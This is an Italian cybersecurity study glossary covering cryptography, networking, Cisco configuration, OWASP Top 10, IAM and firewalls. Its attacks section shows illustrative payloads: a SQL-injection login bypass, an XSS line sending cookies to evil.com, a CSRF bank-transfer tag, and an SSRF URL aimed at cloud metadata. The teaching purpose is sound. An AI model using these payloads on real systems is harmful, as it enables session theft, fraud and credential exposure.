Fondamenti di Sicurezza
Identificatore pubblico univoco per ogni vulnerabilità nota. Formato: CVE-ANNO-NUMERO (es. CVE-2021-44228 = Log4Shell). Database ufficiale: NVD (National Vulnerability Database) del NIST.
Punteggio 0–10 che valuta la gravità di una CVE. Considera: vettore d'attacco, complessità, privilegi richiesti, impatto su riservatezza, integrità e disponibilità.
Vulnerabilità scoperta e sfruttabile per cui NON esiste ancora una patch.
- Vulnerabilità scoperta
- Segnalazione → apertura CVE
- Il produttore sviluppa la patch
- Patch distribuita e installata
SOC (Security Operations Center): unità H24/365 per monitoraggio, threat detection, incident response e threat intelligence.
CISO (Chief Information Security Officer): responsabile della strategia di sicurezza. Riporta al CEO/CTO. Definisce policy, budget e compliance (GDPR, ISO 27001).
Processo continuo: inventario asset → scansione CVE → prioritizzazione CVSS → test staging → deploy → verifica.
Logica Booleana
Un circuito booleano è una rete di porte logiche (gate) che implementano operazioni su bit (0/1) — il fondamento di ogni sistema digitale.
| Operatore | Simbolo | Output | Uso in cybersecurity |
|---|---|---|---|
| AND | & ∧ | 1 solo se entrambi 1 | Subnet mask, filtri ACL |
| OR | | ∨ | 1 se almeno uno è 1 | Regole firewall |
| NOT | ! ¬ | Inverte il bit | Wildcard mask Cisco |
| XOR | ^ ⊕ | 1 se sono diversi | RAID 5/6, AES, OTP |
| NAND | !(A&B) | Opposto AND | Universale: qualsiasi circuito |
| NOR | !(A|B) | Opposto OR | Universale come NAND |
La subnet mask funziona con un AND bit a bit tra IP e maschera → risultato = indirizzo di rete.
IP: 192.168.1.10 → 11000000.10101000.00000001.00001010 Mask: 255.255.255.0 → 11111111.11111111.11111111.00000000 AND: 192.168.1.0 → 11000000.10101000.00000001.00000000 Bit mask=1 → parte RETE (fissa) Bit mask=0 → parte HOST (variabile)
Crittografia
Funzione UNIDIREZIONALE: trasforma dati di qualsiasi dimensione in una stringa fissa di caratteri esadecimali. Dall'hash è computazionalmente impossibile risalire ai dati originali.
- Integrità file: confronta hash scaricato con quello ufficiale
- Password: hashate con SALT univoco → anche in caso di breach l'attaccante ha solo hash
- Blockchain: ogni blocco contiene l'hash del precedente → modificarlo invalida la catena
| Algoritmo | Bit | Sicurezza | Uso |
|---|---|---|---|
| MD5 | 128 | ❌ Insicuro | Solo checksum rapidi |
| SHA-1 | 160 | ❌ Deprecato | Legacy |
| SHA-256 | 256 | ✔ Sicuro | TLS, firme, Bitcoin |
| bcrypt/Argon2 | var. | ✔✔ | Password: lenti by design |
"ciao" → b94f6f125c79e3a5ffaa826f584c10d52ada669e6762051b826b55776d05a8df
Mittente e destinatario usano la stessa chiave per cifrare e decifrare. Veloce, adatta a grandi volumi di dati.
| Algoritmo | Chiave | Stato | Uso |
|---|---|---|---|
| DES | 56 bit | ❌ Deprecato | Legacy |
| 3DES | 112/168 bit | ❌ Deprecato | Legacy |
| AES-128 | 128 bit | ✔ Sicuro | WPA2, TLS, disco |
| AES-256 | 256 bit | ✔✔ Standard oro | VPN, full-disk, gov |
| ChaCha20 | 256 bit | ✔ Sicuro | TLS mobile |
Coppia di chiavi matematicamente legate: chiave pubblica (distribuibile) e chiave privata (segreta). Ciò che cifra una, decifra solo l'altra.
| Scenario | Chiave pubblica | Chiave privata |
|---|---|---|
| Cifrare messaggio | Cifra (destinatario) | Decifra (destinatario) |
| Firma digitale | Verifica firma | Crea firma (mittente) |
| Algoritmo | Base matematica | Uso tipico |
|---|---|---|
| RSA-2048/4096 | Fattorizzazione numeri grandi | TLS, SSH, firme |
| ECC (P-256, P-384) | Curve ellittiche | TLS moderno, mobile |
| Diffie-Hellman | Logaritmo discreto | Scambio chiave di sessione TLS |
Infrastruttura gerarchica che gestisce il ciclo di vita dei certificati digitali, garantendo l'autenticità delle chiavi pubbliche.
| Componente | Ruolo |
|---|---|
| Root CA | Autorità suprema, tenuta offline per sicurezza |
| Intermediate CA | Emette certificati end-entity per conto della Root |
| Certificato X.509 | Lega chiave pubblica a identità (dominio, persona, org.) |
| CRL | Certificate Revocation List — elenco certificati revocati |
| OCSP | Verifica real-time validità certificato (alternativa a CRL) |
| Wildcard cert | *.dominio.it copre tutti i sottodomini di primo livello |
Protocollo che garantisce riservatezza, integrità e autenticazione nelle comunicazioni. SSL è il predecessore deprecato.
| Versione | Stato |
|---|---|
| SSL 2.0 / 3.0 | ❌ Deprecato (POODLE, DROWN) |
| TLS 1.0 / 1.1 | ❌ Deprecato (RFC 8996, 2021) |
| TLS 1.2 | ✔ Accettabile (usare con cipher suite forti) |
| TLS 1.3 | ✔✔ Standard attuale — handshake più veloce e sicuro |
Handshake TLS 1.3 (semplificato): ClientHello → ServerHello + certificato → verifica CA → chiave di sessione ECDHE → dati cifrati AES-GCM.
Garantisce autenticità (chi ha firmato), integrità (il documento non è stato alterato) e non ripudio (il mittente non può negare).
- Il mittente calcola l'hash del documento (es. SHA-256)
- Cifra l'hash con la propria chiave privata → firma digitale
- Il destinatario decifra la firma con la chiave pubblica del mittente
- Confronta l'hash ottenuto con quello ricalcolato sul documento ricevuto
Modello OSI — 7 Livelli
| # | Nome | Funzione | Esempi |
|---|---|---|---|
| 7 | Applicazione | Servizi per l'utente | HTTP, FTP, DNS, SSH, SNMP |
| 6 | Presentazione | Formato, compressione, cifratura | TLS, JPEG, ASCII |
| 5 | Sessione | Apertura/chiusura sessioni | NetBIOS, RPC |
| 4 | Trasporto | Comunicazione end-to-end | TCP, UDP |
| 3 | Rete | Instradamento pacchetti | IP, ICMP, OSPF, RIP |
| 2 | Data Link | Frame, MAC, errori | Ethernet, Wi-Fi, ARP |
| 1 | Fisico | Segnali elettrici/ottici | Cavi, fibra, onde radio |
Struttura di un Indirizzo IP
32 bit = 4 ottetti decimali separati da punti. Ogni ottetto: 0–255.
192 . 168 . 1 . 10 11000000.10101000.00000001.00001010 → Parte di RETE : determinata dalla subnet mask → Parte di HOST : identifica il singolo dispositivo
IPv6: 128 bit, 8 gruppi esadecimali. 2001:db8::1 (:: = gruppi di zeri omessi)
| Classe | Intervallo | Mask | Host | Uso |
|---|---|---|---|---|
| A | 1.x – 126.x | /8 | 16.7M | Grandi ISP |
| B | 128.x – 191.x | /16 | 65.534 | Reti medie |
| C | 192.x – 223.x | /24 | 254 | LAN piccole |
| D | 224.x – 239.x | — | — | Multicast |
Privati RFC 1918 (non instradati su Internet): 10.0.0.0/8 · 172.16.0.0/12 · 192.168.0.0/16
Speciali: 127.0.0.1 loopback · 169.254.x.x APIPA · 255.255.255.255 broadcast globale
Protocolli di Rete
| Caratteristica | TCP | UDP |
|---|---|---|
| Connessione | ✔ 3-Way Handshake | ❌ Nessuna |
| Affidabilità | ✔ Ritrasmissione | ❌ Best effort |
| Ordine | ✔ Garantito | ❌ Non garantito |
| Uso tipico | HTTP/S, SSH, FTP, email | Streaming, DNS, VoIP, gaming |
| Servizio | Porta | Proto | Note |
|---|---|---|---|
| HTTP | 80 | TCP | Web non cifrato |
| HTTPS | 443 | TCP | HTTP + TLS |
| DNS | 53 | UDP/TCP | Risoluzione nomi |
| SSH | 22 | TCP | Accesso remoto cifrato |
| FTP | 21 | TCP | Trasferimento file |
| SMTP | 25 | TCP | Invio email |
| SNMP | 161 | UDP | Monitoraggio dispositivi |
| NFS | 2049 | TCP/UDP | File sharing Linux |
| SMB | 445 | TCP | File sharing Windows |
| RDP | 3389 | TCP | Desktop remoto Windows |
| Telnet | 23 | TCP | ❌ In chiaro |
Solo diagnostica e controllo — non trasporta dati utente.
ping→ Echo Request/Reply — verifica raggiungibilitàtraceroute→ TTL Exceeded — mappa il percorso hop per hop- Messaggi errore: Port Unreachable, Net Unreachable, Redirect
Traduce nomi di dominio in IP — la rubrica di Internet. UDP per query, TCP per zone transfer.
- A → dominio → IPv4 · AAAA → dominio → IPv6
- MX → mail server · CNAME → alias
- NS → nameserver autoritativo · PTR → IP → dominio (reverse)
Condivide directory tra sistemi Unix/Linux come se fossero dischi locali.
# Server — /etc/exports /dati 192.168.1.0/24(rw,sync,no_root_squash) # Client mount -t nfs 192.168.1.5:/dati /mnt/condiviso
- NFS vs SMB: NFS = Linux/Unix · SMB (445) = Windows
- NFS vs SAN: NFS → FILE via IP · SAN → BLOCCHI via FC/iSCSI
Monitora dispositivi di rete. Componenti: NMS (manager) + Agent + MIB.
- v1/v2: community string in chiaro ❌
- v3: autenticazione + cifratura ✔
OID: 1.3.6.1.2.1.1.1.0 = iso.org.dod.internet.mgmt.mib-2.system.sysDescr
Indirizzamento IP & Routing
AND bit a bit tra IP e maschera → indirizzo di rete. CIDR (/xx) supera le classi A/B/C.
| CIDR | Mask | Totale | Host utili |
|---|---|---|---|
| /24 | 255.255.255.0 | 256 | 254 |
| /16 | 255.255.0.0 | 65.536 | 65.534 |
| /8 | 255.0.0.0 | 16.7M | 16.7M-2 |
| /30 | 255.255.255.252 | 4 | 2 (point-to-point) |
/16: 192.168.x.x si vedono tutti direttamente → router invisibile → rete flat.
/24: 192.168.1.x NON vede 192.168.2.x → passa dal gateway → separazione reti, DMZ, VLAN.
Punto di uscita della rete locale. Se un host vuole raggiungere un IP fuori dalla sua subnet, invia il pacchetto al gateway che decide come instradarlo.
| Aspetto | Statico | Dinamico |
|---|---|---|
| Configurazione | Manuale | Automatica |
| Adattamento guasti | ❌ No | ✔ Automatico |
| Overhead | Zero | CPU + banda |
| Scalabilità | Bassa | Alta |
| Protocolli | — | OSPF, RIP, BGP |
Link-State: ogni router conosce la mappa completa. Algoritmo Dijkstra. Metrica: costo basato su bandwidth. Converge in secondi, no limite hop. Multicast 224.0.0.5. Standard enterprise.
router ospf 1 network 192.168.1.0 0.0.0.255 area 0 network 10.0.0.0 0.255.255.255 area 0
Distance Vector. Algoritmo Bellman-Ford. Metrica: hop count (max 15 — 16 = ∞). Aggiornamento ogni 30s, convergenza lenta (minuti).
| Caratteristica | RIP v1 | RIP v2 | OSPF |
|---|---|---|---|
| Tipo | Distance Vector | Distance Vector | Link State |
| Max hop | 15 | 15 | Nessun limite |
| Aggiornamento | Broadcast | Multicast 224.0.0.9 | Multicast 224.0.0.5 |
| VLSM/CIDR | ❌ | ✔ | ✔ |
| Autenticazione | ❌ | ✔ MD5 | ✔ |
| Convergenza | Lenta | Lenta | Veloce |
Gestisce via software più link eterogenei (MPLS, broadband, LTE, 5G) in parallelo. Failover automatico, traffic shaping per applicazione, gestione centralizzata. Costo molto inferiore a MPLS dedicato.
CLI — Command Line Interface
| Comando | Funzione |
|---|---|
ip addr / ifconfig | Interfacce e IP |
ip route show | Tabella di routing |
ping / traceroute | Raggiungibilità / percorso |
nslookup / dig | Query DNS |
ss -tulpn | Porte in ascolto |
nmap <target> | Scansione porte |
tcpdump -i eth0 | Cattura pacchetti |
iptables / ufw | Firewall |
ssh user@host | Connessione remota cifrata |
scp / rsync | Copia file via SSH |
Livelli: > User · # Privileged (enable) · (config)# Global config
show ip interface brief ! stato interfacce show ip route ! routing table show running-config ! config attiva show version ! HW e versione IOS no shutdown ! attiva interfaccia ip route 10.0.0.0 255.255.0.0 192.168.1.1 ! rotta statica
no davanti a qualsiasi comando lo annulla. ? mostra l'help contestuale. Tab completa il comando.Proxy Server
Si interpone tra i client interni e Internet. Il server vede solo l'IP del proxy.
Client → [Forward Proxy] → Internet → Server
- Controllo accessi web, filtraggio contenuti, cache, logging
| Aspetto | Esplicito | Trasparente |
|---|---|---|
| Client sa del proxy | ✔ Sì | ❌ No |
| Config client | Richiesta (GPO/manuale) | Nessuna |
| Aggirabile | ✔ Sì | ❌ No (NAT a livello rete) |
| HTTPS | Nativo | Richiede SSL inspection |
| Uso tipico | Aziende, scuole | ISP, hotspot |
Davanti ai server backend. I client credono di parlare col server finale.
Client → Internet → [Reverse Proxy] → Server A
→ Server B
- Load balancing · SSL termination · Cache · WAF integrato
# nginx reverse proxy
server { listen 443 ssl; server_name miosito.com;
location / { proxy_pass http://backend; } }
upstream backend { server 192.168.1.10:8080; server 192.168.1.11:8080; }
ACL — Access Control List
Gestisce accesso a FILE e DIRECTORY. r=read, w=write, x=execute. Deny-by-default.
alice → rw- bob → r-- guest → ---
Filtra pacchetti su router/switch per IP, porta, protocollo. Standard: solo IP sorgente. Estesa: IP + porta + protocollo.
! Cisco IOS — ACL estesa numerata access-list 101 permit ip 192.168.1.0 0.0.0.255 any access-list 101 deny ip 10.0.0.0 0.255.255.255 any access-list 101 permit ip any any
Infrastruttura & RAID
| Aspetto | NAS | SAN |
|---|---|---|
| Accesso | FILE (SMB, NFS) | BLOCCO (FC, iSCSI) |
| Rete | IP condivisa | Rete dedicata |
| Prestazioni | Moderate | Altissime |
| Costo | Basso | Alto |
| Uso | File sharing, backup | DB mission-critical, VM |
CSV (Comma-Separated Values): formato testo per dati tabellari — universale per import/export, log, data science.
RAID 5 — 3 dischi: D1: A1 D2: A2 D3: parità(A1 XOR A2) D1: par D2: B1 D3: B2 ← parità ruota
| Aspetto | Type 1 — Bare Metal | Type 2 — Hosted |
|---|---|---|
| Gira su | Direttamente sull'HW | Sopra un OS esistente |
| Prestazioni | Massime | Overhead maggiore |
| Uso | Datacenter enterprise | Sviluppo, lab, desktop |
| Esempi | VMware ESXi, Hyper-V, KVM | VirtualBox, VMware WS |
Linux — Libretto completo
Il libretto Linux è un documento completo con 7 capitoli: introduzione, distribuzioni, filesystem, comandi shell, utenti e permessi, Bash scripting, networking. Ha la sua sidebar di navigazione e lo stesso stile di questo glossario.
Filesystem · Comandi shell · sed · find · Bash scripting · Permessi · SSH · nmap e molto altro.
7 capitoli · contenuto completoScript Bash sviluppati durante lo stage formativo del Progetto GOL. Terminale interattivo con esecuzione simulata, codice sorgente e documentazione.
grep · bc · tr · cut · shuf · /dev/urandom — Script di Ottavia, Marcello e Claudio.
portfolio2026-04.web.appCisco Packet Tracer & CCNA
Packet Tracer è il simulatore di rete gratuito di Cisco, fondamentale per prepararsi al CCNA. Permette di costruire topologie virtuali, configurare router e switch con la CLI IOS reale, e verificare la connettività senza hardware fisico.
- Download gratuito su netacad.com (richiede account Cisco NetAcademy)
- Supporta router, switch, hub, firewall, server, PC, wireless
- Modalità Realtime (traffico reale) e Simulation (analisi frame per frame)
- File con estensione
.pkt— salvano l'intera topologia
Le topologie più usate nei lab CCNA:
- Router-on-a-stick: un router con sotto-interfacce per routing inter-VLAN (1 cavo trunk ↔ switch)
- Three-tier: Core switch → Distribution switch → Access switch (modello enterprise Cisco)
- WAN point-to-point: due router collegati con link seriale, protocollo PPP o HDLC
- Hub-and-spoke: un router centrale (hub) collegato a più router periferici (spoke)
Esempio topologia base CCNA:
PC1 ─── SW1 ─── R1 ─── R2 ─── SW2 ─── PC2
| |
VLAN 10 VLAN 20
(192.168.10.0/24) (192.168.20.0/24)
Sequenza completa di configurazione di un router da zero:
VLAN (Virtual LAN): segmentazione logica di una rete fisica. Dispositivi sulla stessa VLAN comunicano tra loro senza router, ma tra VLAN diverse serve il routing (L3).
STP previene i loop di rete bloccando le porte ridondanti. Elegge un Root Bridge (lo switch con il Bridge ID più basso = priorità + MAC). Le altre porte diventano Root Port, Designated Port o Blocked Port.
- RSTP (802.1w): Rapid STP — convergenza in 1-2 secondi invece di 30-50s
- PVST+: Per-VLAN STP di Cisco — un'istanza STP per ogni VLAN
- PortFast: salta gli stati STP sulle porte access (PC diretti) — convergenza immediata
Assegna automaticamente IP, subnet mask, gateway e DNS ai client. Sequenza: DORA — Discover → Offer → Request → Acknowledge.
NAT traduce indirizzi IP privati in pubblici. PAT (NAT overload) usa anche le porte — permette a molti host interni di condividere un singolo IP pubblico.
ping 192.168.1.1Testa ICMP verso un host
traceroute 8.8.8.8Mappa percorso hop per hop
show ip routeTabella di routing completa
show ip interface briefStato tutte le interfacce
show interfaces Gi0/0Dettaglio interfaccia: errori, counters
show arpTabella ARP: IP ↔ MAC
show mac address-tableTabella MAC dello switch
show cdp neighborsDispositivi Cisco vicini (CDP)
debug ip ospf eventsDebug OSPF in tempo reale
debug ip ripDebug RIP in tempo reale
show ip nat translationsTraduzioni NAT attive
show vlan briefVLAN configurate e porte
| Argomento | Concetto chiave da ricordare |
|---|---|
| Subnetting | Formula: 2^n host − 2 (rete + broadcast). 2^m subnet. /30 = 2 host (point-to-point) |
| Wildcard mask | Inverso della subnet: 255.255.255.0 → 0.0.0.255 |
| OSI vs TCP/IP | TCP/IP ha 4 livelli: App (L5-7) · Trasporto (L4) · Internet (L3) · Accesso rete (L1-2) |
| STP | Root Bridge = priorità più bassa. Default: 32768. PortFast solo su porte access. |
| VLAN | Access = una VLAN · Trunk = più VLAN con tag 802.1Q · VLAN nativa = non taggata |
| NAT | Inside local = IP privato · Inside global = IP pubblico · Outside = destinazione |
| OSPF | Hello ogni 10s, Dead ogni 40s. Stessi area, hello, dead, password → diventano neighbor |
| DHCP DORA | Discover (broadcast) · Offer · Request · Acknowledge |
| CDP | Cisco Discovery Protocol: scopre automaticamente i vicini Cisco diretti (L2) |
| Sicurezza switch | Port security: limita MAC su una porta. Violazione: shutdown / restrict / protect |
Sicurezza Applicativa
Analizza e filtra HTTP/HTTPS. Opera a Livello 7 — ispeziona il payload. Blocca: SQL Injection, XSS, CSRF, Path Traversal.
CA: emette certificati X.509. PKI: CA root → CA intermedie → certificati end-entity. CRL/OCSP: revoca.
Wildcard: *.dominio.com protegge tutti i sottodomini con un unico certificato.
- Honeypot: sistema vulnerabile usato come esca per studiare gli attaccanti
- Telnet (23): ❌ In chiaro — deprecato
- SSH (22): ✔ Cifrato — standard odierno
- Print Server: vettore di attacco laterale spesso trascurato
Attacchi Informatici
L'attaccante si interpone intercettando o alterando il traffico.
- ARP Poisoning · DNS Spoofing · SSL Stripping · Evil Twin
Contromisure: HTTPS+HSTS · certificati client · VPN · DNSSEC · 802.1X
| Tecnica | Metodo | Note |
|---|---|---|
| Brute Force | Tutte le combinazioni | Lento ma garantisce successo |
| Dictionary Attack | Dizionario password comuni | Molto più veloce |
| Credential Stuffing | Credenziali da breach reali | Sfrutta riuso password |
| Password Spraying | 1-2 pass su migliaia account | Evita lockout |
| Rainbow Table | Tabella hash→password | Inutile con SALT |
| Tipo | Comportamento | Esempio noto |
|---|---|---|
| Virus | Si replica infettando altri file eseguibili | ILOVEYOU |
| Worm | Si propaga autonomamente in rete, senza file host | WannaCry, Conficker |
| Trojan | Si camuffa da software legittimo, apre backdoor | Emotet, Zeus |
| Ransomware | Cifra i dati e chiede riscatto | WannaCry, LockBit |
| Spyware | Raccoglie dati senza consenso (tastiera, schermo, mic) | FinFisher |
| Keylogger | Registra i tasti premuti → credenziali | BlackShades |
| Rootkit | Nasconde la propria presenza nel kernel/OS | Stuxnet |
| Adware | Mostra pubblicità indesiderata, può reindirizzare browser | Fireball |
| Botnet | Rete di macchine zombi controllate dal C&C server | Mirai (IoT) |
| RAT | Remote Access Trojan — controllo remoto completo | DarkComet |
Il social engineering manipola psicologicamente le persone per ottenere credenziali, accessi o informazioni riservate, sfruttando fiducia, urgenza e paura.
| Variante | Descrizione |
|---|---|
| Phishing | Email massiva che imita brand legittimi (banca, Microsoft…) |
| Spear phishing | Phishing mirato su persona specifica con dati personalizzati |
| Whaling | Spear phishing verso CEO/dirigenti per grosse somme o dati critici |
| Smishing | Phishing via SMS |
| Vishing | Phishing via chiamata vocale (finto supporto IT, banca…) |
| Pretexting | Crea scenario credibile (tecnico IT, auditor, fornitore) |
| Baiting | USB abbandonata con malware, download gratuito infetto |
| Tailgating | Accesso fisico seguendo una persona autorizzata (piggybacking) |
| Quid pro quo | Offre un servizio falso in cambio di informazioni (finto helpdesk) |
Cifra i file della vittima e chiede un riscatto (in criptovaluta) per la chiave di decifratura. Le varianti moderne usano doppia estorsione: cifra + esfiltrazione dati.
- Infezione: phishing, RDP esposto, vulnerabilità non patchata, supply chain
- Persistence & movimento laterale: si diffonde nella rete, eleva i privilegi
- Esfiltrazione (RaaS moderno): copia dati verso server C&C dell'attaccante
- Cifratura: AES per i file, RSA/ECC per proteggere la chiave AES
- Riscatto: richiesta in Bitcoin/Monero con timer, minaccia di pubblicare i dati
DoS: un singolo attaccante satura le risorse del target. DDoS: migliaia di macchine (botnet) colpiscono simultaneamente.
| Tipo | Livello OSI | Tecnica |
|---|---|---|
| Volumetrico | L3/L4 | UDP/ICMP flood — satura la banda (Gbps) |
| SYN Flood | L4 | TCP handshake incompleti — esaurisce connessioni |
| HTTP Flood | L7 | Richieste GET/POST legittime in massa |
| Amplification | L3 | DNS/NTP usati come amplificatori (fattore 50-100x) |
| Slowloris | L7 | Connessioni aperte lentissime → esaurisce thread server |
L'attaccante inserisce codice SQL in un campo di input per manipolare le query del database — lettura, modifica, cancellazione dati o bypass autenticazione.
-- Input malevolo nel campo username: ' OR '1'='1 -- Query risultante: SELECT * FROM users WHERE user='' OR '1'='1' AND pass='x' -- Risultato: accede senza credenziali valide
| Variante | Descrizione |
|---|---|
| Error-based | L'errore SQL rivela la struttura del database |
| Union-based | UNION SELECT per estrarre dati da altre tabelle |
| Blind (Boolean) | Risposta diversa se condizione vera/falsa (nessun errore visibile) |
| Time-based Blind | SLEEP() → il ritardo della risposta rivela i dati |
Injection di codice JavaScript malevolo in una pagina web. Il browser della vittima esegue lo script nel contesto del sito legittimo → furto cookie, reindirizzamento, defacement.
| Tipo | Descrizione |
|---|---|
| Stored (Persistent) | Script salvato nel DB, eseguito ad ogni visita della pagina |
| Reflected | Script nella URL, eseguito solo se la vittima clicca il link malevolo |
| DOM-based | Manipolazione del DOM lato client, non passa dal server |
<script>document.location='https://evil.com/?c='+document.cookie</script> // Ruba i cookie di sessione e li invia all'attaccante
Forza l'utente autenticato a eseguire azioni indesiderate su un sito a cui è loggato, sfruttando la sessione già attiva nel browser.
<!-- Pagina malevola visitata dalla vittima loggata in banca: --> <img src="https://banca.it/bonifico?dest=attaccante&importo=5000"> <!-- Il browser invia la richiesta con i cookie di sessione della banca -->
Differenza con XSS: XSS sfrutta fiducia del browser nell'utente. CSRF sfrutta fiducia del server nella sessione.
Topologie di Rete
| Topologia | Meccanismo | Guasto nodo | Guasto cavo | Scalabilità |
|---|---|---|---|---|
| Bus | Broadcast su cavo | Isolato | ⚠ Rete giù | Bassa |
| Stella | Switch centrale | ✓ Isolato | ✓ Isolato | Alta |
| Anello | TOKEN antiorario | ⚠ Blocca* | ⚠ Blocca | Media |
| Maglia | Link multipli OSPF/BGP | ✓ Bypass | ✓ Bypass | Alta |
| Albero | Core→Dist→Access | Parziale | Parziale | Alta |
| Ibrida | Combinazione | Dipende | Dipende | Alta |
* MAU bypassa automaticamente il nodo guasto.
TOKEN = frame speciale che circola antiorario. Solo chi ha il token può trasmettere. Deterministico, no collisioni. Oggi obsoleto — sostituito da Ethernet.
OWASP — Top 10 (2021)
Lista aggiornata delle vulnerabilità web più critiche. Riferimento standard mondiale.
L'app non verifica i permessi. Esempi: /admin via URL, IDOR (id=123→124), escalation verticale. Contromisure: deny-by-default, controlli lato server, minimo privilegio.
Cifratura assente o inadeguata. Esempi: password in chiaro, HTTP, MD5/SHA-1 per password, chiavi hardcoded. Contromisure: HTTPS+HSTS, bcrypt/Argon2+SALT, TLS 1.2/1.3.
Input non sanificato eseguito come codice.
SELECT * FROM users WHERE user='' OR '1'='1' → Bypassa autenticazione
Contromisure: prepared statements, validazione input, WAF.
Difetti architetturali e di progettazione — mancanza di threat modeling, assenza di security requirements, design pattern non sicuri. Non è un bug di implementazione ma di concezione.
Configurazioni di default non cambiate, porte/servizi inutili aperti, permessi eccessivi, messaggi di errore verbosi che rivelano informazioni interne.
- Credenziali di default su router/DB/applicazioni
- Directory listing attiva su web server
- CORS troppo permissivo (
Access-Control-Allow-Origin: *) - Debug mode attivo in produzione
- S3 bucket pubblici non intenzionali (AWS)
Librerie, framework e componenti con vulnerabilità note e non aggiornate. La supply chain software è un vettore di attacco crescente.
- Log4Shell (CVE-2021-44228) — Log4j usato in milioni di applicazioni Java
- SolarWinds — aggiornamento software conteneva backdoor
- npm packages malevoli — dependency confusion, typosquatting
Difetti nei meccanismi di autenticazione e gestione delle sessioni che permettono all'attaccante di impersonare altri utenti.
- Password deboli o senza rate limiting → brute force
- Session token predicibili o non invalidati dopo logout
- Mancanza di MFA su account critici
- Credenziali in chiaro in URL o log
- Gestione errata del "recupera password"
Codice o dati che vengono assunti integri senza verifica — pipeline CI/CD non sicure, update automatici non firmati, deserializzazione non sicura.
- Plugin/librerie scaricati senza verifica firma digitale
- Pipeline CI/CD con accesso write non protetto
- Deserializzazione di oggetti non attendibili → RCE
- Insecure auto-update (HTTP invece di HTTPS + firma)
Senza log adeguati, un attacco può passare inosservato per mesi. Il tempo medio di rilevamento di un breach è ancora superiore a 200 giorni.
- Login falliti non loggati → brute force invisibile
- Log senza timestamp affidabile o con dati insufficienti
- Assenza di SIEM o alert su eventi anomali
- Log non protetti → l'attaccante li cancella dopo il breach
L'attaccante forza il server a effettuare richieste HTTP verso risorse interne o esterne arbitrarie — bypassando firewall e accedendo a servizi cloud metadata.
# Esempio: parametro URL non validato https://sito.it/fetch?url=http://169.254.169.254/latest/meta-data/ # → accede ai metadata AWS dalla rete interna del server
IAM — Identity & Access Management
Framework di policy e tecnologie per garantire che le persone giuste accedano alle risorse giuste al momento giusto per le ragioni giuste.
| Pilastro | Domanda | Risposta |
|---|---|---|
| Identification | Chi sei? | Username, certificato, token |
| Authentication (AuthN) | Sei davvero tu? | Password, MFA, biometria |
| Authorization (AuthZ) | Cosa puoi fare? | Permessi, ruoli, ACL |
| Accounting | Cosa hai fatto? | Log, audit trail |
L'autenticazione verifica l'identità. MFA (Multi-Factor Authentication) richiede almeno 2 fattori di categorie diverse.
| Fattore | Tipo | Esempi |
|---|---|---|
| Knowledge | Qualcosa che SAI | Password, PIN, domanda segreta |
| Possession | Qualcosa che HAI | OTP via SMS, app authenticator, smart card, token hardware |
| Inherence | Qualcosa che SEI | Impronta digitale, riconoscimento facciale, retina |
| Location | Dove SEI | Geofencing, IP aziendale |
| Modello | Nome | Logica | Uso tipico |
|---|---|---|---|
| DAC | Discretionary AC | Il proprietario decide chi accede | Filesystem Unix, condivisioni |
| MAC | Mandatory AC | Label di sicurezza (Top Secret, Confidential…) | Sistemi militari, SELinux |
| RBAC | Role-Based AC | Permessi assegnati a ruoli, utenti assegnati a ruoli | Active Directory, cloud IAM |
| ABAC | Attribute-Based AC | Policy su attributi (ruolo + ora + posizione + risorsa) | Zero Trust, cloud policy |
Un'unica autenticazione dà accesso a più sistemi/applicazioni senza re-inserire le credenziali.
| Protocollo | Uso |
|---|---|
| SAML 2.0 | SSO enterprise, XML-based (IdP → SP) |
| OAuth 2.0 | Delegazione accessi API ("Login con Google") |
| OpenID Connect | AuthN su OAuth 2.0 (identità + token JWT) |
| Kerberos | SSO LAN Windows (ticket-based, Active Directory) |
Principio del privilegio minimo (PoLP): ogni utente, processo o sistema deve avere solo i permessi strettamente necessari al proprio compito.
- Privilege creep: accumulo progressivo di permessi nel tempo (promozioni, cambio ruolo) senza revoca di quelli precedenti
- Separazione dei privilegi: nessun singolo account deve poter fare tutto
- Just-in-time (JIT): privilegi elevati concessi solo quando servono e per un tempo limitato
- PAM (Privileged Access Management): strumenti per gestire, monitorare e registrare l'uso di account privilegiati
Firewall, IDS/IPS & VPN
Dispositivo o software che filtra il traffico di rete in base a regole (policy), controllando cosa entra e cosa esce dalla rete.
| Generazione | Livello OSI | Analisi | Esempio |
|---|---|---|---|
| Packet Filter | L3/L4 | IP src/dst, porta, protocollo — stateless | iptables base |
| Stateful (SPI) | L3/L4 | Traccia stato connessioni TCP | iptables conntrack |
| Application (Proxy) | L7 | Ispeziona payload applicativo (HTTP, DNS…) | Squid, Palo Alto |
| NGFW | L7 | DPI, IPS integrato, identità utente, SSL inspection | Fortinet, Palo Alto, Cisco FTD |
| WAF | L7 | Solo traffico HTTP/S, protegge applicazioni web | ModSecurity, Cloudflare WAF |
IDS (Intrusion Detection System): monitora e avvisa di attività sospette ma non blocca. IPS (Intrusion Prevention System): rileva e blocca in tempo reale.
| Caratteristica | IDS | IPS |
|---|---|---|
| Posizione | Out-of-band (copia traffico) | Inline (nel flusso dati) |
| Azione | Alert/log | Block/drop/reset |
| Rischio falsi positivi | Basso impatto | Alto — può bloccare traffico legittimo |
| Tipo | Sigla | Monitora |
|---|---|---|
| Network-based | NIDS/NIPS | Traffico di rete (packet capture) |
| Host-based | HIDS/HIPS | Log di sistema, syscall, file integrity |
Metodi di rilevamento: signature-based (pattern noti, bassa efficacia su 0-day) · anomaly-based (deviazione dal baseline, più efficace su attacchi nuovi) · stateful protocol analysis.
Crea un tunnel cifrato tra client e server VPN, proteggendo il traffico da intercettazioni e mascherando l'IP reale dell'utente.
| Protocollo | Porta | Note |
|---|---|---|
| IPsec/IKEv2 | UDP 500/4500 | Robusto, usato in VPN aziendali site-to-site |
| OpenVPN | UDP/TCP 1194 | Open source, molto flessibile |
| WireGuard | UDP 51820 | Moderno, veloce, codice ridotto → meno vulnerabilità |
| SSL/TLS VPN | TCP 443 | Passa firewall restrittivi, clientless (browser) |
| L2TP/IPsec | UDP 1701 | Legacy — evitare dove possibile |
Vulnerability Assessment & Penetration Test
Processo sistematico per identificare, classificare e prioritizzare le vulnerabilità in un sistema — senza sfruttarle.
- Pianificazione: scope, asset da testare, finestre di manutenzione
- Scansione: tool automatizzati (Nessus, OpenVAS, Nmap) identificano CVE
- Analisi: eliminazione falsi positivi, classificazione per CVSS
- Report: lista vulnerabilità con severità, impatto e remediation
- Remediation & re-scan: verifica delle patch applicate
Simulazione controllata di un attacco reale — il pentester sfrutta le vulnerabilità per valutare l'impatto reale e la capacità di rilevamento/risposta.
| Tipo | Conoscenza iniziale | Simula |
|---|---|---|
| Black Box | Nessuna (solo IP/dominio) | Attaccante esterno ignoto |
